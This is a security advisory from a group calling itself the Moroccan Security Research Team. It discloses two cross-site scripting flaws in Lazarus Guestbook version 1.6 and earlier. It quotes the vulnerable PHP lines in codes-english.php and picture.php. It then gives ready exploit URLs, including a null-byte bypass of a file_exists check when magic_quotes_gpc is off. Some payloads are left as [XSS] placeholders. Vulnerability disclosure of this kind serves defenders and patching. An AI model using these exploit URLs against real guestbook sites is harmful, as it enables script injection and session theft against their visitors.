Produce : Lazarus Guestbook
Website : http://carbonize.co.uk/Lazarus/
Version : <= 1.6
Problem : Cross Site Scripting
1)
The first probleme is in codes-english.php ,"show" parameter in lang/codes-english.php isn't properly sanitised
This can be exploited to execute arbitrary HTML and javascript code
Vulnerable code in lang/codes-english.php near line 4
1
2
3
4 <?php echo($_GET['show']); ?>
Exploit :
http://localhost/lazarusgb/lang/codes-english.php?show=%3C/title%3E[XSS]
http://localhost/lazarusgb/lang/codes-english.php?show=%3C/title%3E
2)
the seconde probleme is in picture.php , the script verifiy fist if image file exists
after it display it ,
vulnerable code : in picture.php
********************************
24 if (!empty($_GET['img'])) {
26 if (file_exists("$GB_TMP/$_GET[img]")) {
27 $size = @GetImageSize("$GB_TMP/$_GET[img]");
28 $picture = "$GB_PG[base_url]/$GB_TMP/$_GET[img]";
29 }
.. ............
49
50 ![](\"$picture\") \n";
53 }
54 ?>
55 |
****************
if magic_quote_gpc = OFF we can bypass this protection by specifing existing image file ( Exemple : "img/home.gif") and using a nullchar ( %00 )
POC : http://localhost/lazarusgb/picture.php?img=../img/home.gif%00[code]
file_exists("$GB_TMP/$_GET[img]") will return true and html code will be executed
Exploit:
http://localhost/lazarusgb/picture.php?img=../img/home.gif%00%22%3E[XSS]
http://localhost/lazarusgb/picture.php?img=../img/home.gif%00%22%3E
Contact : simo64[at]gmail[dot]com
Moroccan Security Research Team